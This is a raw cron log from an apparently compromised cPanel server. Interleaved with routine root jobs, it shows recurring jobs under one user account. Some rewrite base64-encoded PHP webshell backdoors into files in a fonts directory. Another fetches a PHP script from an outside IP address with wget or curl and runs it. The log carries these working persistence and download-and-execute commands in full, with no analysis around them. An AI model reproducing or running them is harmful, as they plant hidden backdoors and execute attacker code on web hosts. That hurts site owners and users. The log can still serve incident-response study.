Sep 20 05:02:01 ip-184-168-122-23 CROND[28030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:02:01 ip-184-168-122-23 CROND[28031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:02:01 ip-184-168-122-23 CROND[28033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:02:01 ip-184-168-122-23 CROND[28034]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 05:02:01 ip-184-168-122-23 CROND[28038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:03:01 ip-184-168-122-23 CROND[28309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:03:01 ip-184-168-122-23 CROND[28310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:03:01 ip-184-168-122-23 CROND[28313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:03:01 ip-184-168-122-23 CROND[28312]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:04:01 ip-184-168-122-23 CROND[28661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:04:01 ip-184-168-122-23 CROND[28663]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 05:04:01 ip-184-168-122-23 CROND[28666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:04:01 ip-184-168-122-23 CROND[28665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:04:01 ip-184-168-122-23 CROND[28664]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:05:01 ip-184-168-122-23 CROND[28913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:05:01 ip-184-168-122-23 CROND[28916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:05:01 ip-184-168-122-23 CROND[28914]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 05:05:01 ip-184-168-122-23 CROND[28917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:05:01 ip-184-168-122-23 CROND[28915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:05:01 ip-184-168-122-23 CROND[28918]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 05:05:01 ip-184-168-122-23 CROND[28919]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 05:06:01 ip-184-168-122-23 CROND[29185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:06:01 ip-184-168-122-23 CROND[29186]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 05:06:01 ip-184-168-122-23 CROND[29187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:06:01 ip-184-168-122-23 CROND[29190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:06:01 ip-184-168-122-23 CROND[29192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:07:01 ip-184-168-122-23 CROND[29472]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:07:02 ip-184-168-122-23 CROND[29475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:07:02 ip-184-168-122-23 CROND[29477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:07:02 ip-184-168-122-23 CROND[29476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:08:01 ip-184-168-122-23 CROND[29736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:08:01 ip-184-168-122-23 CROND[29737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:08:01 ip-184-168-122-23 CROND[29739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:08:01 ip-184-168-122-23 CROND[29741]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 05:08:01 ip-184-168-122-23 CROND[29744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:09:02 ip-184-168-122-23 CROND[30010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:09:02 ip-184-168-122-23 CROND[30014]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:09:02 ip-184-168-122-23 CROND[30013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:09:02 ip-184-168-122-23 CROND[30018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:09:02 ip-184-168-122-23 CROND[30017]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 05:10:02 ip-184-168-122-23 CROND[30342]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 05:10:02 ip-184-168-122-23 CROND[30341]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 05:10:02 ip-184-168-122-23 CROND[30345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:10:02 ip-184-168-122-23 CROND[30346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:10:02 ip-184-168-122-23 CROND[30350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:10:02 ip-184-168-122-23 CROND[30347]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 05:10:02 ip-184-168-122-23 CROND[30348]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 05:10:02 ip-184-168-122-23 CROND[30351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:11:01 ip-184-168-122-23 CROND[30747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:11:01 ip-184-168-122-23 CROND[30748]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:11:01 ip-184-168-122-23 CROND[30749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:11:01 ip-184-168-122-23 CROND[30750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:12:01 ip-184-168-122-23 CROND[31050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:12:01 ip-184-168-122-23 CROND[31055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:12:01 ip-184-168-122-23 CROND[31052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:12:01 ip-184-168-122-23 CROND[31054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:12:01 ip-184-168-122-23 CROND[31053]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 05:13:01 ip-184-168-122-23 CROND[31298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:13:01 ip-184-168-122-23 CROND[31300]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:13:01 ip-184-168-122-23 CROND[31301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:13:01 ip-184-168-122-23 CROND[31303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:14:01 ip-184-168-122-23 CROND[31565]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 05:14:01 ip-184-168-122-23 CROND[31567]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
